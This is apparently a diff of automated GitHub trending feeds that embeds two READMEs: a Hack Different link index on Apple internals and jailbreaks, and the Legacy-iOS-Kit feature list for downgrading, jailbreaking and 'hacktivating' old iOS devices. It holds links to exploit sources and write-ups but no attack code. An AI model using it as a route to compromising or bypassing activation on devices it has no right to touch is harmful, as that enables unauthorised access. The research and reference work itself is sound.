<li><a href="http://mista.nu/research/sep-paper.pdf?_x_tr_sch=http&_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en-US">Mirror of presentation</a></li>
</ul> </li>
<li><a href="https://www.theiphonewiki.com/wiki/Seputil"><code>seputil</code></a>
<ul>
<li><a href="https://github.com/mwpcheung/AppleSEPFirmware"><code>mwpcheung/AppleSEPFirmware</code></a></li>
</ul> </li>
<li><a href="https://data.hackinn.com/ppt/2018%E8%85%BE%E8%AE%AF%E5%AE%89%E5%85%A8%E5%9B%BD%E9%99%85%E6%8A%80%E6%9C%AF%E5%B3%B0%E4%BC%9A/SEPOS%EF%BC%9AA%20Guided%20Tour.pdf">SEPOS: A Guided Tour</a></li>
<li><a href="https://github.com/windknown/presentations/raw/master/Attack_Secure_Boot_of_SEP.pdf">Attack Secure Boot of SEP - blackbird</a></li>
<li><a href="https://www.slideshare.net/seguridadapple/iphone-data-protection-in-depth">iPhone Data Protection in Depth</a></li>
<li><a href="https://www.slideshare.net/andrey.belenko/ios-forensics-overcoming-iphone-data-protection">Overcoming iPhone Data Protection</a></li>
</ul>
<h3>ARM / x86</h3>
<ul>
<li>ARM General
<ul>
<li><a href="https://www.element14.com/community/servlet/JiveServlet/previewBody/41836-102-1-229511/ARM.Reference_Manual.pdf">ARMv8 Overview</a></li>
<li><a href="https://developer.arm.com/docs/ddi0487/latest">ARMv8 ARM ARM (Architecture Reference Manual)</a></li>
<li><a href="https://developer.arm.com/products/architecture/cpu-architecture/a-profile/exploration-tools">ARMv8-A Tools</a></li>
<li><a href="https://developer.arm.com/architectures/system-architectures/software-standards">ARM Software Standards</a></li>
<li><a href="https://github.com/Siguza/ios-resources/raw/master/bits/arm64.md">Siguza's ARM Bootcamp</a></li>
</ul> </li>
<li>Apple CPUs
<ul>
<li><a href="https://github.com/AsahiLinux/docs/wiki/Introduction-to-Apple-Silicon">Asahi: Introduction to Apple Silicon</a></li>
<li><a href="https://dougallj.github.io/applecpu/firestorm.html">dougallj's applecpu</a></li>
</ul> </li>
<li>Compilers
<ul>
<li><a href="https://github.com/apple/llvm-project/raw/apple/main/clang/docs/PointerAuthentication.rst">ARM Clang PAC ABI</a></li>
</ul> </li>
<li>ARM Mitigations
<ul>
<li><a href="https://blog.siguza.net/APRR/">APRR</a></li>
<li><a href="https://blog.siguza.net/PAN/">PAN</a></li>
<li><a href="https://blog.svenpeter.dev/posts/m1_sprr_gxf/">SPRR & GXF</a></li>
</ul> </li>
</ul>
<h3>Hypervisor / Virtualization</h3>
<ul>
<li>Apple Hypervisor
<ul>
<li><a href="https://developer.apple.com/documentation/hypervisor">Official documentation</a></li>
<li><a href="https://developer.apple.com/documentation/hypervisor/apple_silicon">Hypervisor on Apple Silicon</a></li>
</ul> </li>
</ul>
<h2>Baseband</h2>
<ul>
<li><code>baseband.yaml</code> in Data Files</li>
<li>Qualcomm
<ul>
<li><a href="https://github.com/hack-different/apple-baseband"><code>hack-different/apple-baseband</code></a></li>
<li>Hexagon DSP
<ul>
<li><a href="https://developer.qualcomm.com/software/hexagon-dsp-sdk">Hexagon SDK</a></li>
<li><a href="https://github.com/Comsecuris/qemu-hexagon">Hexagon QEMU</a></li>
<li><a href="https://github.com/google/binja-hexagon">Binary Ninja Hexagon</a></li>
<li><a href="https://github.com/programa-stic/hexag00n">Hexag00n</a></li>
<li><a href="https://github.com/gsmk/hexagon">IDA Hexagon</a></li>
<li><a href="https://github.com/n-o-o-n/idp_hexagon">idp_heaxagon</a></li>
</ul> </li>
</ul> </li>
</ul>
<h3>Coprocessors</h3>
<ul>
<li><a href="https://github.com/hollance/neural-engine">hollance/neural-engine</a></li>
<li>RTKit - "Realtime" Kit
<ul>
<li><a href="https://github.com/19h/ftab-dump">19h/ftab-dump</a></li>
</ul> </li>
</ul>
<h3>USB / Wired Protocols / Low Level Hardware</h3>
<ul>
<li>Basically all iDevice / iTunes
<ul>
<li><a href="https://libimobiledevice.org">libimobiledevice.org</a></li>
<li><a href="https://github.com/libimobiledevice/libimobiledevice"><code>libimobiledevice/libimobiledevice</code></a></li>
<li><a href="https://github.com/hack-different/python-libimobiledevice"><code>hack-different/python-libimobiledevice</code></a></li>
<li><a href="https://github.com/doronz88/pymobiledevice3"><code>doronz88/pymobiledevice3</code></a></li>
</ul> </li>
<li>DFU / Recovery
<ul>
<li><a href="https://github.com/libimobiledevice/libirecovery"><code>libimoibledevice/libirecovery</code></a></li>
<li><a href="https://habr.com/en/company/dsec/blog/472762/">Technical analysis of the checkm8 exploit</a></li>
</ul> </li>
<li>usbmuxd - USB transport for iDevices
<ul>
<li><a href="https://github.com/libimobiledevice/usbmuxd"><code>libimobiledevice/usbmuxd</code></a></li>
<li><a href="https://github.com/t8012/demuxusb"><code>t8012/demuxusb</code></a></li>
</ul> </li>
<li><code>com.apple.restored</code> - iDevice Restore Protocol
<ul>
<li><a href="https://github.com/libimobiledevice/idevicerestore"><code>libimobiledevice/idevicerestore</code></a></li>
</ul> </li>
<li>UTDM - USB Target Disk Mode
<ul>
<li><a href="https://github.com/rickmark/apple_utdm"><code>rickmark/apple_utdm</code></a></li>
</ul> </li>
<li>USB-C Power Delivery - Vendor Defined Messages
<ul>
<li><a href="https://blog.t8012.dev/ace-part-1/">USB-C Port Controller (ACE) Secrets</a></li>
<li><a href="https://github.com/rickmark/macvdmtool"><code>rickmark/macvdmtool</code></a></li>
</ul> </li>
<li>Lightning
<ul>
<li><a href="https://web.archive.org/web/20220107101537/http://ramtin-amin.fr/tristar.html">http://ramtin-amin.fr/#tristar</a></li>
<li><a href="https://nyansatan.github.io/lightning/">https://nyansatan.github.io/lightning/</a></li>
</ul> </li>
<li>NVMe / NAND / PCIe
<ul>
<li><a href="http://ramtin-amin.fr/#nvmepcie">http://ramtin-amin.fr/#nvmepcie</a></li>
<li><a href="http://ramtin-amin.fr/#nvmedma">http://ramtin-amin.fr/#nvmedma</a></li>
</ul> </li>
<li><a href="https://github.com/gh2o/rvi_capture"><code>gh2o/rvi_capture</code></a></li>
<li><a href="https://github.com/osy/ThunderboltPatcher"><code>osy/ThunderboltPatcher</code></a></li>
<li><a href="https://www.wirelesspowerconsortium.com/knowledge-base/specifications/download-the-qi-specifications.html">Qi Wireless Charging</a></li>
</ul>
<h3>Network / Wireless / Transit</h3>
<ul>
<li>Apple Wi-Fi Password Sharing
<ul>
<li><a href="https://github.com/seemoo-lab/openwifipass"><code>seemoo-lab/openwifipass</code></a></li>
</ul> </li>
<li>AWDL - Apple Wireless Distribution Link
<ul>
<li><a href="https://googleprojectzero.blogspot.com/2020/12/an-ios-zero-click-radio-proximity.html">Findings from Ian Beer, Project Zero</a></li>
</ul> </li>
<li>Bluetooth Bonjour (Service Discovery)</li>
<li>iCloud
<ul>
<li><a href="https://gitlab.com/nicolas17/mesu-archive">nicolas17/mesu-archive</a></li>
</ul> </li>
<li>Apple Watch Pairing</li>
<li><code>com.apple.terminusd</code></li>
<li><a href="https://arxiv.org/pdf/2005.07255.pdf">Magic Pairing: Securing Bluetooth Peripherals</a></li>
<li>ATC - Air Traffic Control - iTunes Wi-Fi Sync</li>
<li>RemoteXPC
<ul>
<li><a href="https://duo.com/labs/research/apple-t2-xpc">https://duo.com/labs/research/apple-t2-xpc</a></li>
<li><a href="http://newosxbook.com/tools/XPoCe2.html">XPoCe</a></li>
</ul> </li>
<li>macOS Internet Recovery
<ul>
<li><a href="https://github.com/rickmark/apple_net_recovery"><code>rickmark/apple_net_recovery</code></a></li>
<li><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/docs/Internet_Recovery"><code>Internet Recovery</code></a></li>
</ul> </li>
<li><a href="https://www.theiphonewiki.com/wiki/ICloud_Keychain">iCloud Keychain</a> (Umbrella for multiple formats)</li>
</ul>
<h3>System Configuration and State</h3>
<ul>
<li>FDR - Factory Data Restore</li>
<li>SysCfg - System Configuration - Serial Number and other Device Info</li>
<li>APTicket - The root of an authorized version set</li>
</ul>
<h3>Diagnostic Protocols</h3>
<ul>
<li>AWDD - Apple Wireless Diagnostics (misnomer, more than wireless, system trace)
<ul>
<li><a href="https://github.com/rickmark/awdd_decode"><code>rickmark/awdd_decode</code></a></li>
</ul> </li>
<li>Mojo Serial
<ul>
<li><a href="https://github.com/rickmark/mojo_thor/raw/master/MojoKDP/mojo.kext.S">MojoKDP.kext.S</a></li>
</ul> </li>
<li>Apple "tailspin"</li>
<li>Apple <code>tracev3</code> Unified Logging
<ul>
<li><a href="https://github.com/ydkhatri/UnifiedLogReader">`ydkhatri/UnifiedLogReader``</a></li>
<li><a href="https://github.com/libyal/dtformats/raw/main/documentation/Apple%20Unified%20Logging%20and%20Activity%20Tracing%20formats.asciidoc">dtformats</a></li>
</ul> </li>
<li>XHC20 USB Capture
<ul>
<li><a href="https://github.com/t8012/demuxusb/raw/b6b1a1a6633449c2cb16ad44edcc22aab4dc29cd/ext/pcapng.h"><code>hack-different/demuxusb/ext/pcapng.h</code></a></li>
</ul> </li>
</ul>
<h2>Jailbreaks</h2>
<ul>
<li><a href="https://github.com/Chronic-Dev/syringe/raw/master/syringe/exploits/limera1n/limera1n.c">limera1n</a></li>
<li><a href="https://github.com/OpenJailbreak/greenpois0n"><code>OpenJailbreak/greenpois0n</code></a></li>
<li><a href="https://github.com/0x7ff/gaster"><code>0x7ff/gaster</code></a></li>
<li><a href="https://github.com/axi0mX/ipwndfu"><code>axi0mX/ipwndfu</code></a></li>
<li><a href="https://github.com/LinusHenze/Fugu"><code>LinusHenze/Fugu</code></a></li>
<li><a href="https://checkra.in">checkra1n</a></li>
<li><a href="https://unc0ver.dev">unc0ver</a></li>
<li><a href="https://taurine.app">Taurine</a></li>
<li><a href="https://theodyssey.dev/">Odyssey</a></li>
<li><a href="https://chimera.coolstar.org/">Chimera</a></li>
<li><a href="https://github.com/jakeajames/rootlessJB3/raw/master/writeup.pdf">rootlessJB writeup</a></li>
<li><a href="http://geohot.com/e7writeup.html">evasi0n writeup by geohot</a></li>
<li><a href="https://github.com/LinusHenze/Fugu14/raw/master/Writeup.pdf">Fugu14 writeup</a></li>
<li>TaIG
<ul>
<li><a href="http://www.newosxbook.com/articles/TaiG.html">8.0</a></li>
<li><a href="http://www.newosxbook.com/articles/TaiG2.html">8.1.2</a></li>
<li><a href="http://www.newosxbook.com/articles/28DaysLater.html">8.1.3</a></li>
<li><a href="http://www.newosxbook.com/articles/HIDeAndSeek.html">8.4</a></li>
</ul> </li>
</ul>
<h3>Jailbreak Tooling</h3>
<ul>
<li><a href="https://github.com/Chronic-Dev/syringe"><code>Chronic-Dev/syringe</code></a></li>
<li><a href="https://github.com/ProcursusTeam/Procursus"><code>ProcursusTeam/Procursus</code></a></li>
<li><a href="https://github.com/comex/substitute"><code>comex/substitute</code></a></li>
<li><a href="https://github.com/sbingner/substitute"><code>sbingner/substitute</code></a></li>
<li><a href="https://cydia.saurik.com">Cydia</a></li>
<li><a href="https://getzbra.com/">Zebra</a></li>
<li><a href="https://getsileo.app/">Sileo</a></li>
</ul>
<h3>Jailbreak Slides</h3>
<ul>
<li><a href="https://cameronkatri.com/nullcongoa2022.pdf">Jailbreaking iOS in the Post-Apocalyptic Age</a></li>
<li><a href="https://objectivebythesea.org/v5/talks/OBTS_v5_lHenze.pdf">Fugu15 Slides</a></li>
</ul>
<h2>X-Plat</h2>
<ul>
<li><a href="https://github.com/checkra1n/pongoOS">pongoOS</a></li>
<li><a href="https://asahilinux.org">Asahi Linux for M1</a></li>
<li><a href="https://github.com/corellium/linux-m1">Corellium's M1 Branch</a></li>
<li><a href="https://github.com/corellium/projectsandcastle">Android on pongoOS</a>
<ul>
<li><a href="https://github.com/planetbeing/iphonelinux">iphonelinux</a></li>
</ul> </li>
</ul>
<h2>Safety / Protection</h2>
<ul>
<li><a href="https://github.com/rickmark/isafety"><code>rickmark/isafety</code></a></li>
<li><a href="https://docs.mvt.re/en/latest/">Mobile Verification Toolkit</a></li>
<li><a href="https://github.com/mvt-project/mvt"><code>mvt-project/mvt</code></a></li>
</ul>
<h2><a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/CREDITS">CREDITS</a></h2>
<p>Hack Different - Apple Knowledge is a product of the entire community and belongs to the community. It is facilitated by the volunteer work of the Hack Different moderation team.</p>
<p>If you have issue with the design or workflow of this repository, blame me (<a href="https://github.com/rickmark"><code>rickmark</code></a>) as I setup and configured most of it. (it me). If you have feedback, join the <code>#apple-knowledge</code> channel of the discord server.</p>
<p>Portions of data and knowledge come from <a href="https://theiphonewiki.org">TheiPhoneWiki</a>, <a href="https://libimobiledevice.org">libimobiledevice's website</a>, and <a href="https://checkra.in">checkra1n's website</a>, as well as the individuals who brought you those projects (and many more!)</p>
<p>Special mention to Jonathan Levin and Amit Singh for taking the time to publish books on these topics.</p>
<ul>
<li><a href="https://www.amazon.com/Mac-OS-Internals-Approach-paperback/dp/0134426541">Mac OS Internals by Singh</a></li>
<li><a href="https://www.amazon.com/Mac-OS-iOS-Internals-Apples/dp/1118057651">Mac and iOS Internals by Levin</a></li>
<li><a href="https://www.amazon.com/dp/099105556X/ref=as_sl_pc_qf_sp_asin_til?tag=newosxbookcom-20&linkCode=w00&linkId=25d40cd80f346c76537ef5fb1ea1ed81&creativeASIN=099105556X">*OS Internals - User Mode by Levin</a></li>
<li><a href="https://www.amazon.com/dp/0991055578/ref=as_sl_pc_tf_til?tag=newosxbookcom-20&linkCode=w00&linkId=1b6f861f86e509fd79773eb10adc0bbf&creativeASIN=0991055578">*OS Internals - Kernel Mode by Levin</a></li>
<li><a href="https://www.amazon.com/dp/0991055535/ref=as_sl_pc_qf_sp_asin_til?tag=newosxbookcom-20&linkCode=w00&linkId=0b61c945365c9c37cd3cf88f10a5f629&creativeASIN=0991055535">*OS Internals - Security by Levin</a></li>
</ul>
<p>A list of all projects and their contributors is at <a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/CREDITS">CREDITS</a> and is updated by a script. If there are persons not updated due to limitations, please PR the CREDITS page and call them out.</p>
<h3>Setting up <code>overcommit</code>, the linters, and the build</h3>
<p>Main article is in <a href="https://raw.githubusercontent.com/hack-different/apple-knowledge/main/BUILD.md">BUILD</a></p>
<p>To keep the repo, docs, and data tidy, we use a tool called <code>overcommit</code> to connect up the git hooks to a set of quality checks. The fastest way to get setup is to run the following to make sure you have all the tools:</p>
<pre><code class="language-shell">brew install hunspell
gem install overcommit bundler
bundle install
overcommit --install
</code></pre>
<h3>Why not <insert wiki here></h3>
<p>Wiki's best serve prose, and part of the goal here is to leverage machine readable and ingestable information with human augmentation wherever possible.</p>
<p>As of 2022, GitHub has 56 million users. That means that there are 56 million people who are able to contribute directly to this repo via a fork and PR, in opposition to wiki's which have a relatively small number of potential editors. The PR process also allows for modifications to be reviewed, commented and debated before inclusion.</p>
<h2>License</h2>
<p>The contents of this repo are dual-licensed:</p>
<p>Code and data licensed under the <a href="https://opensource.org/licenses/MIT">MIT</a> license</p>
<p>Documents also licensed under the CC-BY-SA</p>
<p><a href="http://creativecommons.org/licenses/by-sa/4.0/"><img src="https://i.creativecommons.org/l/by-sa/4.0/88x31.png" alt="Creative Commons License">{style="border-width:0"} </a>{rel=license} <a href="http://creativecommons.org/licenses/by-sa/4.0/">Apple Knowledge</a>{:xmlns:dct="<a href="http://purl.org/dc/terms/">http://purl.org/dc/terms/</a>", :property="dct:title"} by <a href="https://github.com/hack-different/apple-knowledge">Hack Different</a>{:xmlns:cc="<a href="http://creativecommons.org/ns#">http://creativecommons.org/ns#</a>", :property="cc:attributionName", :rel="cc:attributionURL"} is licensed under a [Creative Commons Attribution-ShareAlike 4.0 International License](<a href="http://creativecommons.org/">http://creativecommons.org/</a> licenses/by-sa/4.0/){:rel="license"}</p>
<h2>Dedication</h2>
<blockquote>
<p>Here’s to the crazy ones, the misfits, the rebels, the troublemakers</p>
<p>the round pegs in the square holes…</p>
<p>the ones who see things differently — they’re not fond of rules…</p>
<p>You can quote them, disagree with them, glorify or vilify them, but the only thing you can’t do is ignore them because they change things…</p>
<p>They push the human race forward, and while some may see them as the crazy ones,</p>
<p>we see genius,</p>
<p>because the ones who are crazy enough to think that they can change the world,</p>
<p>are the ones who do.</p>
<p>— Steve Jobs, 1997</p>
</blockquote>
<p>Also dedicated to the volunteer work of those who use this for good, and deny the shadow to those who seek to harm.</p>
-
\ No newline at end of file
diff --git a/runoff/daily/index.xml b/runoff/daily/index.xml
index b14125851e7..fea095810af 100644
--- a/runoff/daily/index.xml
+++ b/runoff/daily/index.xml
@@ -1,7 +1,7 @@
GitHub RUNOFF Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:26Z
+ 2023-12-13T01:43:25Z
Daily Trending of RUNOFF in GitHub
\ No newline at end of file
diff --git a/rust/daily/index.xml b/rust/daily/index.xml
index a451f34a200..6b2f72a3f4b 100644
--- a/rust/daily/index.xml
+++ b/rust/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Rust Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:31Z
+ 2023-12-13T01:43:41Z
Daily Trending of Rust in GitHub
\ No newline at end of file
diff --git a/sage/daily/index.xml b/sage/daily/index.xml
index 471e3794089..a58b2789b00 100644
--- a/sage/daily/index.xml
+++ b/sage/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Sage Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:43Z
+ 2023-12-13T01:43:53Z
Daily Trending of Sage in GitHub
\ No newline at end of file
diff --git a/saltstack/daily/index.xml b/saltstack/daily/index.xml
index 69301efbc21..4654567c5bf 100644
--- a/saltstack/daily/index.xml
+++ b/saltstack/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SaltStack Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:44Z
+ 2023-12-13T01:43:52Z
Daily Trending of SaltStack in GitHub
\ No newline at end of file
diff --git a/sas/daily/index.xml b/sas/daily/index.xml
index 2f6b99b0c83..13e1696f053 100644
--- a/sas/daily/index.xml
+++ b/sas/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SAS Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:45Z
+ 2023-12-13T01:43:51Z
Daily Trending of SAS in GitHub
\ No newline at end of file
diff --git a/sass/daily/index.xml b/sass/daily/index.xml
index 964fe36d910..574a0117695 100644
--- a/sass/daily/index.xml
+++ b/sass/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Sass Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:46Z
+ 2023-12-13T01:43:54Z
Daily Trending of Sass in GitHub
\ No newline at end of file
diff --git a/scala/daily/index.xml b/scala/daily/index.xml
index dbc68a4573a..77407842180 100644
--- a/scala/daily/index.xml
+++ b/scala/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Scala Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:51Z
+ 2023-12-13T01:43:59Z
Daily Trending of Scala in GitHub
\ No newline at end of file
diff --git a/scaml/daily/index.xml b/scaml/daily/index.xml
index a1d65b706a7..004538ef04b 100644
--- a/scaml/daily/index.xml
+++ b/scaml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Scaml Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:47Z
+ 2023-12-13T01:43:55Z
Daily Trending of Scaml in GitHub
\ No newline at end of file
diff --git a/scheme/daily/index.xml b/scheme/daily/index.xml
index 81d9391a281..aeb112a5f02 100644
--- a/scheme/daily/index.xml
+++ b/scheme/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Scheme Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:58:49Z
+ 2023-12-13T01:43:57Z
Daily Trending of Scheme in GitHub
\ No newline at end of file
diff --git a/scilab/daily/index.xml b/scilab/daily/index.xml
index a77a646010b..1564eb5c0ab 100644
--- a/scilab/daily/index.xml
+++ b/scilab/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Scilab Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:00Z
+ 2023-12-13T01:44:08Z
Daily Trending of Scilab in GitHub
-
- ccc112a/co112a
- 2023-12-12T01:59:00Z
- tag:github.com,2023-12-12:/ccc112a/co112a
-
- <p>課程:計算機結構 -- 筆記、習題與報告</p><hr>
-
\ No newline at end of file
diff --git a/scss/daily/index.xml b/scss/daily/index.xml
index f6ab22de085..fead103bae2 100644
--- a/scss/daily/index.xml
+++ b/scss/daily/index.xml
@@ -1,14 +1,14 @@
GitHub SCSS Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:04Z
+ 2023-12-13T01:44:10Z
Daily Trending of SCSS in GitHub
- hirosystems/connect
- 2023-12-12T01:59:04Z
- tag:github.com,2023-12-12:/hirosystems/connect
-
- <p>A library for building excellent user experiences with Stacks.</p><hr>
+ booqable/boomerang-api-documentation
+ 2023-12-13T01:44:10Z
+ tag:github.com,2023-12-13:/booqable/boomerang-api-documentation
+
+ <p>Documentation for the Booqable Boomerang API</p><hr>
\ No newline at end of file
diff --git a/sed/daily/index.xml b/sed/daily/index.xml
index 4b50a39f2d7..bcdca55632d 100644
--- a/sed/daily/index.xml
+++ b/sed/daily/index.xml
@@ -1,7 +1,7 @@
GitHub sed Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:01Z
+ 2023-12-13T01:44:07Z
Daily Trending of sed in GitHub
\ No newline at end of file
diff --git a/self/daily/index.xml b/self/daily/index.xml
index be888037d19..b1ea90cb0b3 100644
--- a/self/daily/index.xml
+++ b/self/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Self Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:02Z
+ 2023-12-13T01:44:07Z
Daily Trending of Self in GitHub
\ No newline at end of file
diff --git a/selinux-policy/daily/index.xml b/selinux-policy/daily/index.xml
index 68c947bf6d0..a1d553bfcd8 100644
--- a/selinux-policy/daily/index.xml
+++ b/selinux-policy/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SELinux Policy Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:06Z
+ 2023-12-13T01:44:11Z
Daily Trending of SELinux Policy in GitHub
\ No newline at end of file
diff --git a/shaderlab/daily/index.xml b/shaderlab/daily/index.xml
index b901a28fc71..266d232773a 100644
--- a/shaderlab/daily/index.xml
+++ b/shaderlab/daily/index.xml
@@ -1,7 +1,14 @@
GitHub ShaderLab Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:07Z
+ 2023-12-13T01:44:15Z
Daily Trending of ShaderLab in GitHub
+
+ kaze-mio/NahidaRenderProject
+ 2023-12-13T01:44:15Z
+ tag:github.com,2023-12-13:/kaze-mio/NahidaRenderProject
+
+ <p>A Unity sample project, for rendering Genshin characters like Nahida.</p><hr>
+
\ No newline at end of file
diff --git a/shell/daily/index.xml b/shell/daily/index.xml
index 72b288e3d5a..b2bb8a99c89 100644
--- a/shell/daily/index.xml
+++ b/shell/daily/index.xml
@@ -1,14 +1,21 @@
GitHub Shell Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:59:09Z
+ 2023-12-13T01:44:16Z
Daily Trending of Shell in GitHub
- LukeZGD/Legacy-iOS-Kit
- 2023-12-12T01:59:09Z
- tag:github.com,2023-12-12:/LukeZGD/Legacy-iOS-Kit
-
- <p>An all-in-one tool to downgrade/restore, save SHSH blobs, and jailbreak legacy iOS devices</p><hr><h1>Legacy iOS Kit</h1>
<ul>
<li>(formerly iOS-OTA-Downgrader)</li>
<li><strong>An all-in-one tool to downgrade/restore, save SHSH blobs, and jailbreak legacy iOS devices</strong></li>
<li>Supported on <strong>Linux and macOS</strong></li>
<li><strong>Read the <a href="https://github.com/LukeZGD/Legacy-iOS-Kit/wiki/How-to-Use">"How to Use" wiki page</a> for instructions</strong></li>
<li><strong>Read the <a href="https://github.com/LukeZGD/Legacy-iOS-Kit/wiki/Troubleshooting">"Troubleshooting" wiki page</a> for tips, frequent questions, and troubleshooting</strong></li>
</ul>
<h2>Features</h2>
<ul>
<li>Legacy iOS Kit supports all 32-bit iOS devices, and some A7/A8 64-bit devices</li>
<li>Restore to signed OTA versions (iOS 8.4.1 and/or 6.1.3) on A5/A6 devices</li>
<li>Restore some 32-bit devices to other iOS versions without blobs
<ul>
<li>This includes downgrading iPhone 3GS, iPhone 4 GSM and CDMA, iPod touch 2, touch 3, iPad 1</li>
</ul> </li>
<li>Restore with SHSH blobs on supported devices</li>
<li>Restore to other iOS versions with iOS 7 blobs (powdersn0w)</li>
<li>Tethered restores to other iOS versions for A5/A6 and other devices</li>
<li>Jailbreak all 32-bit iOS devices on (almost) any iOS version
<ul>
<li>Available on iOS versions 3.1.3 to 9.3.4</li>
<li>Only unsupported versions are iOS 9.0.x and iPad 2 on 4.3.x</li>
</ul> </li>
<li>Hacktivation for iPhone 2G, 3G, 3GS (activate without valid SIM card)</li>
<li>Restore to iOS 10.3.3 (signed OTA version) on supported A7 devices</li>
<li>Save onboard and Cydia SHSH blobs for 32-bit devices</li>
<li>Enter pwned iBSS/kDFU mode for supported 32-bit devices</li>
<li>Boot SSH Ramdisk for 32-bit devices</li>
<li>Clear NVRAM for 32-bit devices</li>
<li>Device activation using ideviceactivation (useful for iOS 4 and lower)</li>
<li>The latest baseband will be flashed for A5/A6 devices with baseband</li>
<li>Dumping and stitching baseband to IPSW (requires <code>--disable-bbupdate</code>)</li>
<li>Dumping and stitching activation records to IPSW (requires <code>--activation-records</code>)</li>
</ul>
<h2>Supported devices</h2>
<ul>
<li><a href="https://ipsw.me/device-finder">Identify your device here</a></li>
<li><strong>iPhone 5C and iPad mini 3 devices are NOT supported by OTA downgrades</strong>
<ul>
<li>These devices still support restoring to other iOS versions with SHSH blobs, see below</li>
</ul> </li>
<li>See the table below for OTA downgrading support:</li>
</ul>
<table>
<thead>
<tr>
<th>Target Version</th>
<th>Supported Devices</th>
</tr>
</thead>
<tbody>
<tr>
<td rowspan="4">iOS 10.3.3</td>
<td><b>A7 devices:</b></td>
</tr>
<tr>
<td>iPhone 5S</td>
</tr>
<tr>
<td>iPad Air 1</td>
</tr>
<tr>
<td>iPad mini 2 (except iPad4,6)</td>
</tr>
<tr>
<td rowspan="6">iOS 8.4.1</td>
<td><b>32-bit devices:</b></td>
</tr>
<tr>
<td>iPhone 4S</td>
</tr>
<tr>
<td>iPhone 5</td>
</tr>
<tr>
<td>iPad 2, iPad 3, iPad 4</td>
</tr>
<tr>
<td>iPad mini 1</td>
</tr>
<tr>
<td>iPod touch 5</td>
</tr>
<tr>
<td rowspan="2">iOS 6.1.3</td>
<td>iPhone 4S</td>
</tr>
<tr>
<td>iPad 2 (except iPad2,4)</td>
</tr>
</tbody>
</table>
<ul>
<li>Restoring with SHSH blobs, jailbreaking, and using SSH Ramdisks are supported on the following devices:
<ul>
<li>Supports all 32-bit iOS devices</li>
<li>iPhone 2G, 3G, 3GS, 4, 4S, 5, 5C</li>
<li>iPad 1, 2, 3, 4, mini 1</li>
<li>iPod touch 1, 2, 3, 4, 5</li>
</ul> </li>
<li>Restoring with SHSH blobs is also supported on most A7/A8 devices:
<ul>
<li>See <a href="https://docs.google.com/spreadsheets/d/1Mb1UNm6g3yvdQD67M413GYSaJ4uoNhLgpkc7YKi3LBs/edit#gid=1191207636">SEP/BB Compatibility Chart</a> for iOS versions that can be restored to</li>
<li>iPhone 5S, 6, 6 Plus</li>
<li>iPad Air 1, mini 2, mini 3</li>
<li>iPod touch 6</li>
</ul> </li>
<li>Restoring with powdersn0w is supported on the following devices and target version range:
<ul>
<li>iPhone 4 GSM - iOS 4.0 to 7.1.1 (4.2.1 is not functional)</li>
<li>iPhone 4 CDMA - iOS 5.0 to 7.1.1 (4.2.x is not functional)</li>
<li>iPhone 4S, 5, 5C, iPad 2 Rev A, iPad 4, iPod touch 5 - iOS 5.0 to 9.3.5</li>
<li>iPad 1 - iOS 4.3 to 5.1 (4.2.1 and 3.2.x are not functional)</li>
<li>iPod touch 3 - iOS 4.0 to 5.1 (3.1.x is not functional)</li>
<li>Using powdersn0w requires iOS 7.1.x blobs for your device
<ul>
<li>No blob requirement for iPhone 4, iPad 1, iPod touch 3 (7.1.2 and 5.1.1 are signed)</li>
<li>For iPhone 5 and 5C, both 7.0.x and 7.1.x blobs can be used</li>
<li>For iPad 4, only 7.0.x blobs can be used</li>
</ul> </li>
</ul> </li>
<li>Restoring to other unsigned versions without blobs is supported on the following devices and target versions:
<ul>
<li>iPhone 3GS - iOS 3.1.3, 4.1, 4.3.3, 5.0.1, 5.1.1</li>
<li>iPod touch 2 - iOS 3.1.3, 4.1</li>
</ul> </li>
</ul>
<h2>Supported OS versions/distros</h2>
<h4>Supported architectures: x86_64, arm64, armhf</h4>
<ul>
<li><a href="https://ubuntu.com/"><strong>Ubuntu</strong></a> 22.04 and newer, and Ubuntu-based distros like <a href="https://www.linuxmint.com/">Linux Mint</a></li>
<li><a href="https://www.archlinux.org/"><strong>Arch Linux</strong></a> and Arch-based distros like <a href="https://endeavouros.com/">EndeavourOS</a></li>
<li><a href="https://getfedora.org/"><strong>Fedora</strong></a> 37 and newer</li>
<li><a href="https://www.debian.org/"><strong>Debian</strong></a> 12 Bookworm and newer, Sid, and Debian-based distros</li>
<li><a href="https://www.opensuse.org/"><strong>openSUSE</strong></a> Tumbleweed</li>
<li><a href="https://www.gentoo.org/"><strong>Gentoo</strong></a> and Gentoo-based distros</li>
